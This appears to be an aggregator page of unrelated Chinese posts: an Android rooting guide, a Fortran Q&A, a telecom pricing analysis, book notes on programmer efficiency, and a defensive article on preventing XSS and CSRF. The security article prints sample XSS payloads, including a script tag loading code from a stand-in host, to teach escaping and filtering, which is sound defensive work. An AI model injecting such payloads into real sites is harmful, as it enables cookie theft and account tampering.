  1. 最直接的應用就是過去手機廠商預載了一些程式,而這些程式是透過應用程式管理員也砍不掉的,現在Root之後你就可以把它們砍掉,得到更多的可用空間。
  2. 在Google Play裡頭有一些與系統相關的App,有許多功能都是需要Root才能支援的,現在你就可以使用了。
  3. 原本Android裝置的系統字型是無法更改的,透過Root之後就可以更換,可以把手機介面美化。
  4. 超頻手機,讓手機跑得更快。不過這就跟電腦上CPU超頻一樣,使用之後有當機、不穩定的風險。
  5. 很多人Root的目的主要是刷機,更換手機系統的Rom。

什麼是刷機

很多人會把刷機跟Root劃上等號,但其實兩者是不同的事情。Root只是取得管理者權
限,而刷機則是把手機裡頭的作業系統、核心檔案,用另外的一個Rom來取代,而這個Rom通常都是網友所製作修改的系統,使用不同的Rom目的不一,或許可以帶給你的手機更好的效能,或許是介面更好看,或許是可以使用不同版本的Android系統。

但是刷機的難度又要比Root來得高,而且風險也更高。一般來說,Root如果失敗其實風險較小,由於不同手機的硬體裝置不同,如果你刷到不合適的Rom,手機變磚頭的比例要高很多,或是某些硬體從此就無法作用。對於新手來說,就更不適合玩了。

▲雖然有些網站也提供「一鍵刷機」,還有各種Rom可以下載,但使用依然有風險。

Root工具:手機版

在這邊我們簡單介紹幾套常見的Root工具,Root工具又分有直接安裝在手機上的手機版本,以及安裝在電腦上的PC版。以風險來說,使用手機版本的風險最小,但是相對來說成功的機率則較低。

手機版的Root工具使用起來幾乎沒有什麼技術可言,就是裝在手機上,按下「Root」的按鈕,然後就一拍兩瞪眼,等著看結果是成功或是失敗了。如果失敗,那就另外再找其他的工具試試,也沒有什麼可以調整的地方。當然了,就方便性來說,你大可先安裝Android版的工具,因為手機版的工具使用起來最簡單,多試幾套看成不成功,如果都不成功最後再考慮去找PC版的工具。

手機版的Root工具

在手機版的Root工具中,以技術來說,幾乎所有的Root工具都是先由國外的XDA論壇開發出來的。而最近XDA論壇又放出了一個新的一鍵Root工具叫做「Framaroot」,對於很多新的機種有不錯的支援度,甚至連紅米跟小米機都可以。而且使用起來也沒有什麼步驟,只要在一個畫面上就解決。

如果「Framaroot」使用不成功的話,那麼中國的廠商有大量的Root專用的App可以找得到。像是Root大師、百度一鍵Root、360超級Root等都是一些相關的工具。不過中國的這些有時會被防毒軟體判別為廣告軟體或是病毒軟體,可能具有危險性。

這些工具你在Google Play上面是找不到的,都要從網站上下載APK檔,然後手動安裝到手機裡頭。使用前必須要在手機設定的「安全性」項目中,開啟允許安裝GooglePlay商店以外的程式來源。

至於成功率來說,只能說依照機種的不同可以嘗試不同的App,Android 4.0以前版本的系統,使用手機版的Root成功率應該比較高,較新的版本幾乎都無法靠手機版Root成功。

▲Framaroot為由XDA論壇開發的工具,使用時就按下上方的「Install Superuser」以及下方的處理器就好。

▲Root大師只要點選下方的「Root權限」就可以開始處理,不過對新機種來說成功率不高。

Root App以及下載網址

Root工具:PC版

雖然說手機版的Root工具很方便,但是我們連續用了Galaxy Note2、HTC One V兩隻手機試了都沒成功。如果你跟我們一樣的話,那麼你就該退而求其次,改用PC版的Root工具。

要使用PC版的Root工具,使用前必須要先開啟手機的USB偵錯模式,然後將手機與電腦用USB連接起來,工具才能夠正常的運作。在第一次使用的時候,需要花點時間等待連線,並且會自動下載手機硬體的驅動程式,讓電腦正確辨識手機的型號,才能判斷要用什麼Root的方式。

電腦版的Root工具類型

目前大多數的Root工具對於Windows8.1的系統來說,可能多少都有點問題。這些工具雖然可以在Windows 8.1的系統上安裝,但是在Windows 8.1的系統下操作,可能會導致辨識手機不成功,而無法進行Root的工作。

而這些PC版的工具又有分為兩種類型,第一種是必須要連接網路才能使用的,當你連接到手機之後,才開始針對你的手機下載相關的Root檔案進行工作,所以必須要連接在網路上。

第二種則是不需要連接網路,直接將相關的檔案都包在程式裡頭了。這種通常程式的檔案會比較大。

由於這些PC版的工具也一樣很多都是中國的廠商開發的,因此無可避免的也有廣告軟體過多的問題,很多在你安裝了之後,都會強迫推銷給你另外安裝了一些額外的廣告程式。另外,我們還發現有些程式一樣會被特定的防毒軟體判斷為帶有木馬的不安全程式,可能會有安全的疑慮。不過在這裡我們介紹的幾款,應該是相對來說比較安全的。在我們的測試中,「Kango Root」這個程式應該算是相對來說比較乾淨、安全的。

▲Root精靈是一個體積很小巧的程式,不過成功率很高。

▲Kango Root是一套英文介面的程式,不過我們成功地利用它來Root我們的測試機HTC One V。

電腦版Root工具及下載網址

Root 到底難不難

我們在這次的專題中,用兩台手機來進行Root,一台是HTC One V,另一台則是Samsung Galaxy Note 2。HTC One V是2012年初的機種,而Samsung Galaxy Note 2則是2012年底的機種。我們用這兩台手機來嘗試一鍵Root,結果很意外的是,一開始兩台手機使用一鍵Root的結果都是失敗的。或是精準地講,Root的過程是成功的,但是最後都敗在廠商的保護機制上。

Samsung Note 2的Knox保護機制

最讓我們意外的是,從網路資料上來看,Note2以前Root或是刷機的過程都不難,沒想到當我們自己實作時卻一再受阻。使用Android版的一鍵Root工具完全不行,而改用PC版,雖然使用「完美刷機」跟「Root精靈」顯示Root成功了,但是重開機依然沒有取得管理者權限。

後來根據我們查詢, 三星的手機在Android 4.2版之前Root並沒有什麼特別的難度,但更新到Android 4.3版之後,新增一個Knox的新功能,這是一個安全防護程式。對於Root的難度增加很多,而且程式裡頭還會計算手機Root的次數,當發現你Root後手機也就失去保固了。目前我們暫時沒找到繞開Knox去Root手機的辦法。

HTC的「S-ON」、「S-OFF」

以國人很愛用的品牌HTC來說,HTC手機Root的過程都是相對來說較難的。但根據我們實做的心得是,其實Root這款HTC的手機難是不難,但是步驟相當繁瑣,而且需要細心。

原因在於HTC的手機對於Bootloader的保護比一般手機更複雜,又有專有名詞叫「S-ON」、「S-OFF」,當手機處於「SON」的狀態,你無法取得永久的Root的權限,韌體也會被檢查是否為原廠。因此就算一時Root手機成功了,下一次重開機權限就又失效了。不過HTC官方就有提供給針對高階使用者解鎖的管道,可以透過Email去登記取得解鎖。這個步驟算是比較複雜一點,但解鎖之後,Root也就沒有難度了。

▲進入手機的設定後,選擇「開發人員選項」。

▲勾選USB連線時進入除錯模式。

 

本文同步刊載於PC home雜誌
  
歡迎加入 PC home雜誌粉絲團

延伸閱讀:

手機不該 Root/越獄/刷機的理由有很多; 但 「安全」 絕對不是其中之一

Android手機必裝!5 大提速優化apps,免換新機馬上找回順暢效能

改善 Android 4.0 系統流暢度

加入T客邦Facebook粉絲團

为什么从事尖端科研的研究人员仍然在使用计算机时代早期发明的语言?

$
0
0
短答案:理由有很多,但我认为最根本的理由是“ 历史的包袱

--------------------------------------------------------------------------------------------------------------------------------------

长故事:

计算机在很早就被美国用于科研目的,而在当年在语言上并有没太多选择。

举个我了解一些的美国 Traffic Simulation领域栗子(虽然这不算 尖端领域,但是我觉得道理是一样的):

其实在该领域美国早在70年代就已经开始计算机化,利用计算机程序来模拟城市/区域交通,进行信号灯的控制,路线的优化等等。而那个年代,C也还没成熟并被广泛利用,也正是Fortran的黄金时代(Fortran 66),。再加上Fortran本身特性也适用于科学计算,所以自然整个 Traffic Simulation软件的核心 CORSIM: Microscopic Traffic Simulation Model 是用Fortran写的。

而在这种专业领域的软件,并不是随便招个程序猿就能维护。而是需要程序猿和专业人士非常密切的交流,所以开发/维护软件的人一般也算是半个业内人员。这种程序员因为技术壁垒高,待遇自然也很高,相对稳定。相对稳定的人员环境,也导致即使后来C或者其他语言流行起来在Computer Science圈子流行开来,却无法渗透到这种专业性强的领域,没有足够的动力让程序员去迁移旧的Fortran代码到C上(况且,谁说在这种领域C就比Fortran好?)

虽然接下来80年代末,90年代初,GUI急速发展导致Fortran似乎已经开始不占优势了。但是要知道,这个时候Fortran已经被用了接近20年。所有核心module都是Fortran,再去迁移更不可能。于是乎折中的处理就是继续用Fortran做数据处理和计算的内核,外面套一层C的shell,于是乎就有了 TSIS

其他太尖端的行业不了解,但像问题中 美国国家大气研究中心的大气模型和气候预测程序NASA的全球气候变化模型等很可能或多或少都是经历着很类似的发展过程。

--------------------------------------------------------------------------------------------------------------------------------------

总结:当然Fortran作为语言本身,有他很多的优势,这些也是他在现在依然被运用的原因。但是说放到今天的环境下,如果给当年的程序员们再爱一次的机会,他们还会选择Fortran么?

利益相关:就不告诉你~

— 完 —
本文作者: 知乎用户(登录查看详情)

【知乎日报】 你都看到这啦,快来点我嘛 Σ(▼□▼メ)

此问题还有 3 个回答,查看全部。

解读工信部发改委《关于电信业务资费实行市场调节价的通告》

$
0
0
5月9日临下班,为贯彻落实党的十八届三中全会关于全面深化改革、完善主要由市场决定价格的机制精神,按照国务院《关于取消和下放一批行政审批项目的决定》要求,工业和信息化部、国家发展改革委联合发布了《关于电信业务资费实行市场调节价的通告》,放开所有电信业务资费。 
通告 http://t.cn/8sDv1rS 新闻稿 http://t.cn/8sDvgqJ  官方政策解读 http://t.cn/8sDb6Vg 

1、这是2014年1月28日国务院取消和下放管理层级的行政审批项目中第三项《电信业务资费标准审批》的实施通告(参见http://www.gov.cn/zwgk/2014-02/15/content_2602146.htm  )。

2、明确适用范围包括所有电信业务:放开包括固定和移动的本地、长途、漫游语音,短消息,数据业务等所有电信业务资费。所有电信业务资费均实行市场调节价。电信企业可以根据市场情况和用户需求制定电信业务资费方案,自主确定具体资费结构、资费标准及计费方式。力度还是相当大。

3、明确了对捆绑的限制:对涉及用户基本通信需求的固定语音、移动语音、短信息、宽带等业务,电信企业进行打包销售时,必须另外提供包内单项业务单独的资费方案。

4、从备案到告知意味着从事前“堵”变为事中事后“督”。
涉及在全国或跨省(自治区、直辖市)执行的资费方案,应在执行前告知工业和信息化部、国家发展改革委,其他资费方案应在执行前告知省(自治区、直辖市)通信管理局、同级价格主管部门。
各省(自治区、直辖市)通信管理局和同级价格主管部门按各自法定职责加强对本地电信企业的指导、监督,加强事中事后监管,切实保护用户合法权益,遇到新情况、新问题应及时报工业和信息化部、国家发展改革委。
5、对制定套餐、事中、事后提出了更详细的要求。
电信企业应进一步提高资费透明度,建立资费方案公示制度,通过营业厅、代理代办点、网站等方式公布所有面向公众市场的在售资费方案。
在业务宣传推广时应全面、准确,对资费方案限制性条件及其他需引起用户注意的事项,应履行提醒义务,不得片面夸大资费优惠幅度或作容易引起用户误解的虚假宣传。
在计费过程中,应按照相关标准准确计费,至少提供一种便捷的自助查询方式,供用户查询自身通信费用信息,确保用户明明白白消费。
等。

6、对协议的要求:
电信企业与用户签订的协议中应包含资费标准、计费方式、对应服务和适用期限等内容。应充分尊重用户自主选择权,为用户选择适宜资费方案提供便利和必要帮助,不得以任何形式强制或限制用户选择其指定的资费方案,未经用户同意,不得擅自更改与用户约定的资费方案。

7、废止的文件,最早到1997年。
《国家计委、邮电部关于进一步规范电信资费文件的通知》(计价费[1997]2485号)、《国家计委、信息产业部关于印发省(区、市)通信管理局会同同级价格主管部门管理的电信业务收费项目的通知》(计价格[2002]1320号)、《国家计委、信息产业部关于印发<电信资费审批备案程序规定(试行)>的通知》(计价格[2002]1489号)

8、政策主要影响:给运营商松绑,同时也为适应30家运营商相互竞争复杂环境的需要,运营商可在更短时间内推出新的资费套餐,且无需事前经主管部门审核。

9、对电信资费下降无直接影响,但可推动资费下降更快实现。影响今后两年电信资费下降的主要动力:
(1)移动通信从2G向3G再向4G转移,单位流量成本明显下降(2G到4G下降几十倍),推动流量资费逐步下降;固网宽带铜退光进也会带动单位流量成本下降。
(2)首批近30家移动通信转售商加入竞争,竞争会更加激烈。固网方面,宽带最后一公里向民营企业开放的政策也会很快出台,也会有更多竞争者加入。

10、工信部事中事后监管的难题:
(1)历史套餐退出机制,文件中再次明确“不得以任何形式强制或限制用户选择其指定的资费方案,未经用户同意,不得擅自更改与用户约定的资费方案”,这表面保护用户利益,但不利于历史套餐的梳理。
(2)不采用上限管制,有什么手段保证已选旧套餐的用户,在不更换套餐的基础上,享受到改革的红利?

(更新完)

  青春就应该这样绽放   游戏测试:三国时期谁是你最好的兄弟!!   你不得不信的星座秘密

关于效率、程序与生活的一些思考

$
0
0

前一段时间看了两本书《高效程序员的45个习惯——敏捷开发修炼之道》和《高效能程序员的修炼》。书名很相似,读完这两本书花的时间也差不多,都是两个星期左右。两本书内容差别却不小。不过,总结起来一句话:都是好书!

“变”——读《高效程序员的45个习惯》所想到的

《高效程序员的45个习惯》原名Practices of an Agile Developer,所以这本书主要是讲敏捷开发方法与实践的。由于对团队和协作没什么清晰的概念,而且书中大多是以团队开发为实例的,看完以后有好多地 方没太明白。所以,这本书不太适合大一的读,估计我还需要两年后再读一次。

但是还是有很多收获的,作者Andy Hunt和Venkat Subramaniam在书中传授了很多敏捷开发的思想,不但适用于团队,而且对独立开发者也有很大借鉴意义。在这里总结一下:

  • 不管路走了多远,错了就要重新返回——要快速适应变化。
  • 开发要持续不断,切勿时续时断。
  • 态度决定一切。
  • 指责不能修复bug——出现了问题以后,首先要做的不是追究责任,而是解决问题。(原文更经典一些:Blame doesn’t fix bugs. Instead of pointing fingers, point to possible solutions. It’s the positive outcome that counts. )
  • 过程符合标准不意味着结果是正确的。结果重于过程(“结果不重要”向来都是说给失败者的)。
  • 如果你没有犯过任何错误,说明你可能没有努力工作。
  • 你不需要很出色才能起步,但是你必须起步才能变得很出色。——Les Brown
  • 能容纳自己并不接受的想法,表明你的头脑足够有学识。——亚里士多德
  • 如果你自己都不清楚所谈论的东西,就根本不可能精确地描述它。——约翰·冯·诺依曼
  • 代码清晰程度的优先级应该排在执行效率之前。
  • 跟踪技术变化。
  • 习惯很可能造就一个专家,但同样也能毁了这个专家(自己想的,有点扯)——打破旧习惯很难,更难的是自己还没有意识到这个问题。
  • 选定了要走的路,就是选定了它通往的目的地。

虽然这是一本关于项目开发方法的书,作者也通篇在讲开发中需要注意规避和正确的做法与心态,但是我却从中看到了更多程序以外的东西。

作者在第一章就总结说,敏捷开发要不断地使用反馈进行自我调整和完善。这句话真的很好,只有不断的调整和完善才能跟上技术和设计的步伐,不至于项目 交付时拿出来的是一个脱离了潮流甚至充满错误设计的东西。其实对生活也是这样。经常总结自己,当发现生活偏向某个极端时,就做一下调整,就像航海时发现偏 离航线了要及时调整航向一样,否则因为反应迟钝带来的痛苦与损失是要付出很多代价的,而且付出的代价往往与问题发现的时间成正比。越早发现问题,就越容易 修复问题。

管理大师德鲁克说∶“世界唯一不变的是变化。”真正的敌人是变化,而且你不可能打败变化,你所能做的就是适应变化。看完这本书,个人感觉,其实就一 个字就能把这本书想说的敏捷开发给概括,那就是“变”。如果能在变化中使自己变化以适应变化,见机行事,随机应变,你就达到了“敏捷”(相关内容可以看我 之前写的 All Over Again)。

另外,书中《使用短迭代,增量发布》一文给我留下很深印象。短迭代让人感觉非常专注且具效率。你能看到一个实际并且确切的目标。严格的最终期限迫使 你做出一些艰难的决策,没有遗留下长期悬而未决的问题。如果每个迭代时间都不够用,要么是任务太大,要么是迭代的时间太短。把握好自己的节奏。

重构生活

你要不断从自己写的代码中得到反馈,并且使用自动化工具不断地构建和测试系统。在前进的过程中,你都会有意识地修改一些代码:在功能不变的情况下,重新设计代码,改善代码质量。这就是所谓的重构。

当你把这段话中的“代码”换成“生活”时,你会发现它同样是对的。所以,就像团队需要隔段时间重构自己项目的某些代码以减少bug、精简代码一样,你也要学会重构自己的生活,来提高生活质量。

所以说,世界著名程序员中有很多是哲学家 自己想的

你所需要的仅仅是一个新的习惯。

“快乐”与“热情”——《高效能程序员的修炼》教给我的

另一本,是Stack Overflow创始人之一Jeff Atwood的 《Effective Programming: More Than Writing Code》。这本书类似于《黑客与画家》,文章主要取自作者的博客 CodingHorror。看完之后,与上一本不同的是,这本书浅显易懂,而且处处体现出作者积极向上的幽默,通过各种实例,阐述了自己对程序员应有的态度、学习方法、技能的看法,最后还谈到了职业规划和程序员的幸福,很适合初级程序员和学生读。

下面是我对书中主要内容的一些笔记(主要是自己总结的,想了解更多还是去看书吧):

  • 问自己:“你究竟想过怎样的生活?”
  • 人们需要花一生的时间去学习如何有效地写作。而且这事没有捷径。
  • 程序员应该通过读书或阅读博客来磨快自己的“锯子”。
  • 避免同时做多个项目,不要高估自己的能力。
  • 出现问题时,尽量认为是自己的错。
  • 自己是阻止自己进步的罪魁祸首。
  • 就像不要写没用的代码一样,不要写没用的注释。
  • 当你需要写注释的时候,先看看自己能不能把代码写得更易懂一些。
  • 学会阅读源代码,不管是自己的还是别人的。
  • 对于创意来说,执行是一个增倍器。它能放大创意的价值,甚至更多。(闲扯一下,你如果在07年之前说你有一个关于手机的棒极了的点子:它有 一个智能系统,可以装应用;还有一个触摸屏,可以用手触摸,还可以用多个手指!这个点子真是太棒了,好,给你10块钱上一边去!因为这只是个点子,不是 iPhone)
  • 性能是成功产品的必备属性。对一个网站来说,要么很快,要么死去。
  • 很多程序员不会编程。Are you one of them?
  • 软件开发者最擅长的就是学习。
  • 工作经验年数与编程技能之间是没有必然联系的。
  • 不管出了什么问题,都是人的问题。
  • 程序员就像“吸血鬼”,而系统管理员就像是“狼人”。(很有意思的比喻,可以看这篇博客 Vampires (Programmers) versus Werewolves (Sysadmins)
  • 尝试结对编程。(与作者在书中的观点不太一样,作者是结对编程的忠实拥护者)
  • 会议是浪费工作时间的绝佳去处。(加入学生会的人应该深有感触)
  • 高效的程序员都有绝佳的工作环境。(这一点很重要)
  • 程序是所有微小细节的集合,而细节决定成败。
  • 难以使用本身就是一个大bug。
  • 第一版做的不好,但照样发布。
  • 倾听用户的声音,但别被他们牵着鼻子走。
  • ……最难的事,要搞明白你没日没夜地拼命工作到底是为了什么。

提问的艺术——你喜欢问“为什么”,这很好。但你为什么问”为什么”?

两本书都提到了一点,在问“为什么”之前,一点要想好自己为什么问这个问题。当你问“为什么“的时候,也许你会被反问:“为什么你问这个问题?”所以在提问之前,想好你提问的理由,这会有助于你问出恰当的问题。

在提问之前,一定要确定:

  1. 问题是什么?
  2. 你为这个问题做了什么尝试?
  3. 你为什么需要答案?

归根结底,这关乎公平:如果你想要别人花上宝贵的时间来帮助你,只有在你也花了相当的宝贵时间酝酿出一个合格的问题时才算公平。帮助别人就是帮你自己!

如果你能完全投入地向一个假想中的人或者是没有生命的物体问一个透彻而详尽的问题,你往往会在最后认识到你犯了某中愚蠢的错误,于是问题不再是问题,你也因此如释重负。

如果你读到这里了,强烈建议你看下这篇 Rubber Duck Problem Solving

唯快不破

“沿着那条路走下去,一定要快。如果有什么东西挡住了你的去路…绕开它!”

其实,作者在建立Stack Exchange时也用到了敏捷方法,而且“快”是Stack Overflow的制胜法宝。第一版做的不好,但照样发布,然后在不断的用户反馈中获得灵感与思路,在快速迭代中完善产品。

idea就是shit

在国内App创业浪潮中,很多人都强调了创意的重要性,甚至认为有了一个想法(先不说它的好坏)就有了一点,整天把“idea”挂在嘴边,认为自己 就是下一个乔布斯。但其实idea一文不值,重要的是去实现它。因为你要相信,你能想到的,别人也能想到(同样先不说它的好坏),但你能做到的,别人不一 定能做到。

如何应对初见成功后出现的复制品

当遇到自己产品的复制品时,该怎么做呢?很多人发现有类似自己的网站或是模仿自己的App上线时,都变得很疯狂,在各种社区、论坛或是问答网站表达 无奈和委屈,以博得同情,或是大骂山寨者,引起众怒。但其实这一点用也没有,当你在哭爹喊娘的时候别人已经超过你了。我现在还没听说哪个开发者把山寨货告 上法庭并打败对方的事。看看Jeff在面对Stack Overflow的复制品时是怎么做的,

现在市面上已经出现了一些Stack Overflow引擎的复制品。我想说他们干的不错!……我们的使命是让互联网变得更好(哪怕我们只能带来一些细微的改进)。……我们没曾想过要推翻谁或 者占有什么东西。所以在这个过程中,如果有任何东西挡住了我们的路,请放心,我们不会大打出手。 我们会绕开。然后继续向前,快速进步。因此,如果那些抄袭者想要跟上我们的话,他们也得行动快点。

懂了吗?就是一个字——“快”。只有比你的对手快,你才能打败那些山寨者。Chrome为什么会在短短几年打败IE(但人家仍是市场份额老大)和Firefox,就是因为它极速的迭代速度。

前几天在知乎上看到有人问“如何在国内盗版横行的Android市场上存活”,我是这样回答的

两条路,要么一直创新让别人赶不上,要么放弃这个市场。

其实我是推荐后者的。

自己关于提高效率的想法

效率低下的罪魁祸首往往不是信息不足,而是信息过多。

希捷前CEO Bill Watkins在06年曾放出一个让很多人惊掉眼镜的说法:“醒醒吧,硬盘是不能改变这个世界的。它能做的就是帮助人们存储更多的垃圾文件和色情片。”虽 然的确有些夸张了,但是面对越来越大的硬盘,想一下,你真的需要那么多空间来存放那么多文件吗?

如果想做到“敏捷”和“高效”,就必须轻装上阵,因此:

  1. 桌面上不放任何东西
  2. 清理硬盘
  3. 系统里少装程序
  4. 一次只开一个程序
  5. 适时断网

*以上按有效程度排序

如果你看到这里了,我的建议是,《高效程序员的45个习惯——敏捷开发修炼之道》和《高效能程序员的修炼》两本书你一定要读。

One more thing

Everybody in this country should learn how to program a computer,because it teaches you how to think.

– Steve Jobs

关于效率、程序与生活的一些思考,首发于 博客 - 伯乐在线

前后端分离的思考与实践(四)

$
0
0

 

前后端分离模式下的安全解决方案

前言

在前后端分离的开发模式中,从开发的角色和职能上来讲,一个最明显的变化就是:以往传统中,只负责浏览器环境中开发的前端同学,需要涉猎到服务端层面,编写服务端代码。而摆在面前的一个基础性问题就是 如何保障Web安全?

本文就在前后端分离模式的架构下,针对前端在Web开发中,所遇到的安全问题以及应对措施和注意事项,并提出解决方案。

跨站脚本攻击(XSS)的防御

问题及解决思路

跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击Web网站的方法。攻击者可以在网页上发布包含攻击性代码的数据,当浏览者看到此网页时,特定的脚本就会以浏览者用户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息以及造成其它类型的攻击,例如:CSRF攻击。

预防XSS攻击的基本方法是:确保任何被输出到HTML页面中的数据以HTML的方式进行转义(HTML escape)。例如下面的模板代码:

  1. <textarea name="description">$description</textarea>

这段代码中的 $description为模板的变量(不同模板中定义的变量语法不同,这里只是示意一下),由用户提交的数据,那么攻击者可以输入一段包含”JavaScript”的代码,使得上述模板语句的结果变成如下的结果:

  1. <textarea name="description">
  2. </textarea><script>alert('hello')'</script>
  3. </textarea>

上述代码,在浏览器中渲染,将会执行JavaScript代码并在屏幕上alert hello。当然这个代码是无害的,但攻击者完全可以创建一个JavaScript来修改用户资料或者窃取cookie数据。

解决方法很简单,就是将 $description的值进行html escape,转义后的输出代码如下

  1. <textarea name="description">
  2. &lt;/textarea&gt;&lt;script&gt;alert(&quot;hello!&quot;)&lt;/script&gt;
  3. </textarea>

以上经过转义后的HTML代码是没有任何危害的。

Midway的解决方案

转义页面中所有用户输出的数据

对数据进行转义有以下几种情况和方法:

1. 使用模板内部提供的机制进行转义

中途岛内部使用KISSY xtemplate作为模板语言。

在xtemplate实现中,语法上使用两个中括号( {{val}})解析模板数据, ,默认既是对数据进行HTML转义的,所以开发者可以这样写模板:

  1. <textarea name="description">{{description}}</textarea>

在xtemplate中,如果不希望输出的数据被转义,需要使用三个中括号( {{{val}}})。

2. 在Midway中明确的调用转义函数

开发者可以在Node.js程序或者模板中,直接调用Midway提供的HTML转义方法,显示的对数据进行转义,如下:

方法1:在Node.js程序中对数据进行HTML转义

  1. var Security= require('midway-security');
  2. //data from server,eg {html:'</textarea>',other:""}
  3. data.html =Security.escapeHtml(data.html);
  4. xtpl = xtpl.render(data);

方法2:在模板中对HTML数据进行HTML转义

  1. <textarea name="description">Security.escapeHtml({{{description}}})</textarea>

注意:只有当模板内部没有对数据进行转义的时候才使用Security.escapeHtml进行转义。 否则,模板内部和程序会两次转义叠加,导致不符合预期的输出。

推荐:如果使用xtemplate,建议直接使用模板内置的 {{}}进行转义; 如果使用其他模板,建议使用 Security.escapeHtml进行转义。

过滤页面中用户输出的富文本

你可能会想到:“其实我就是想输出富文本,比如一些留言板、论坛给用户提供一些简单的字体大小、颜色、背景等功能,那么我该如何处理这样的富文本来防止XSS呢?”

1. 使用Midway中Security提供的richText函数

Midway中提供了richText方法,专门用来过滤富文本,防止XSS、钓鱼、cookie窃取等漏洞。

有一个留言板,模板代码可能如下:

  1. <div class="message-board">
  2. {{{message}}}
  3. </div>

因为message是用户的输入数据,其留言板的内容,包含了富文本信息,所以这里在xtemplate中,使用了三个大括号,默认不进行HTML转义;那么用户输入的数据假如如下:

  1. <script src="http://eval.com/eval.js"></script><span style="color:red;font-size:20px;position:fixed;">我在留言中</span>

上述的富文本数据如果直接输出到页面中,必然会导致eval.com站点的js注入到当前页面中,造成了XSS攻击。为了防止这个漏洞,我们只要在模板或者程序中,调用Security.richText方法,处理用户输入的富文本。

调用方法与escapeHtml类似,有如下两种方式

方法1: 直接在Node.js程序中调用

  1. message =Security.richText(message);
  2. var html = xtpl.render(message)

方法2: 在模板中调用

  1. <div class="message-board">
  2. Security.richText({{{message}}})
  3. </div>

通过调用Security的richText方法后,最终的输出如下:

  1. <div class="message-board">
  2. <span style="color:red;font-size:20px;">我在留言中</span>
  3. </div>

可以看出,首先:会造成XSS攻击的 script标签被直接过滤掉;同时style标签中CSS属性 position:fixed;样式也被过滤了。最终输出了 无害的HTML富文本

了解其他可能导致XSS攻击的途径

除了在页面的模板中可能存在XSS攻击之外,在Web应用中还有其他几个途径也可能会有风险。

1. 出错页面的漏洞

一个页面如果找不到,系统可能会报一个404 Not Found的错误,例如: http://localhost/page/not/found

  1. 404 NotFound
  2. Page /page/not/found does not exsit

很显然:攻击者可以利用这个页面,构造一个类似这样的连接, http://localhost/%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E,并引诱受害者点击 ;假如出错页面未对输出变量进行转义的话,那么连接中隐藏的 <script>alert('hello')</script>将会被执行。

在express中,发送一个404页面的方法如下

  1. res.send(404,'Sorry,we don\'t find that!')

这里就需要开发者注意错误页面(404或者其他错误状态)的处理方式。如果错误信息的返回内容带有路径信息(其实更准确的讲,是用户输入信息),就一定要进行escapeHtml了。

后续,错误处理的安全机制,会在Midway框架层面中完成。

Midway解决方案的补充说明

其他模板引擎

Midway默认支持xtemplate模板,但将来也有可能支持其他模板:如jade、mustache、ejs等。目前在主流模板中,都提供了默认转义和不转义的输出变量写法,需要开发者特别留意其安全性。

关于escape的其他支持

除了对页面中输出的普通数据和富文本数据,一些场景中也还包含其他可能需要转义的情况,Midway提供了如下几个常用的转义方法,供开发者使用:

  • escapeHtml 过滤指定的HTML中的字符,防XSS漏洞
  • jsEncode 对输入的String进行JavaScript 转义 对中文进行unicode转义,单引号,双引号转义
  • escapeJson 不破坏JSON结构的escape函数,只对json结构中name和vaule做escapeHtml处理
  • escapeJsonForJsVar 可以理解就是jsEncode+escapeJson

例子如下

  1. var jsonText ="{\"<script>\":\"<script>\"}";
  2. console.log(SecurityUtil.escapeJson(jsonText));// {"&lt;script&gt;":"&lt;script&gt;"}
  3. var jsonText ="{\"你好\":\"<script>\"}";
  4. console.log(SecurityUtil.escapeJsonForJsVar(jsonText));//{\"\u4f60\u597d\":\"&lt;script&gt;\"}
  5. var str ="alert(\"你好\")";
  6. console.log(SecurityUtil.jsEncode(str));// alert(\"\u4f60\u597d\")

跨站请求伪造攻击(CSRF)的预防

问题及解决思路

名词解释:表单:泛指浏览器端用于客户端提交数据的形式;包括a标签、ajax提交数据、form表单提交数据等,而非对等于HTML中的form标签。

跨站请求伪造(CSRF,Cross-site request forgery)是另一种常见的攻击。攻击者通过各种方法伪造一个请求,模仿用户提交表单的行为,从而达到修改用户的数据或执行特定任务的目的。

为了假冒用户的身份,CSRF攻击常常和XSS攻击配合起来做,但也可以通过其它手段:例如诱使用户点击一个包含攻击的链接。

解决CSRF攻击的思路分如下两个步骤

  1. 增加攻击的难度。GET请求是很容易创建的,用户点击一个链接就可以发起GET类型的请求,而POST请求相对比较难,攻击者往往需要借助JavaScript才能实现;因此,确保form表单或者服务端接口只接受POST类型的提交请求,可以增加系统的安全性。
  2. 对请求进行认证,确保该请求确实是用户本人填写表单或者发起请求并提交的,而不是第三者伪造的。

一个正常用户修改网站信息的过程如下

  • 用户请求修改信息(1) -> 网站显示用户修改信息的表单(2) -> 用户修改信息并提交(3) -> 网站接受用户修改的数据并保存(4)

而一个CSRF攻击则不会走这条路线,而是直接伪造第2步用户提交信息

  • 直接跳到第2步(1) -> 伪造要修改的信息并提交(2) -> 网站接受攻击者修改参数数据并保存(3)

只要能够区分这两种情况,就能够预防CSRF攻击。那么如何区分呢? 就是对第2步所提交的信息进行验证,确保数据源自第一步的表单。具体的验证过程如下:

  • 用户请求修改信息(1) -> 网站显示用于修改信息的空白表单,表单中包含特殊的token同时把token保存在session中(2) -> 用户修改信息并提交,同时发回token信息到服务端(3) -> 网站比对用户发回的token和session中的token,应该一致,则接受用户修改的数据,并保存

这样,如果攻击者伪造要修改的信息并提交,是没办法直接访问到session的,所以也没办法拿到实际的token值;请求发送到服务端,服务端进行token校验的时候,发现不一致,则直接拒绝此次请求。

Midway解决方案

禁用GET提交表单

如果服务端不接受GET方式提交的表单数据,那么将会给攻击者带来非常大的难度;因为在页面上构造一个a标签href属性或者img标签src属性来构造一个请求是非常容易的,但是如果要POST提交,就必须要通过脚本才可以实现。

用CSRF token验证请求

因为Midway不涉及到淘宝分布式session及token校验这一层面逻辑,所以在Midway框架中,只将token在server和客户端之间进行转发,本身不做实际的校验工作。流程如下:

后续:在Midway中,Node.js和淘宝的分布式session对接后,可以考虑在Midway这一层自动进行token校验;毕竟安全校验越早进行,成本也会更低。

建议:在Midway中,可以判断是否request中有token的值,如果一个修改操作,没有token,可以直接在Midway层认为是不安全的,将请求丢弃掉。

其他安全问题

关于常见的Web安全问题,还有如下几种,这里只做一些简介,后续会持续继承到Midway framework中。

  • HTTP Headers安全
    • CRLF Injection攻击者想办法在响应头中注入两个CRLF特殊字符,导致响应数据格式异常,从而注入script等
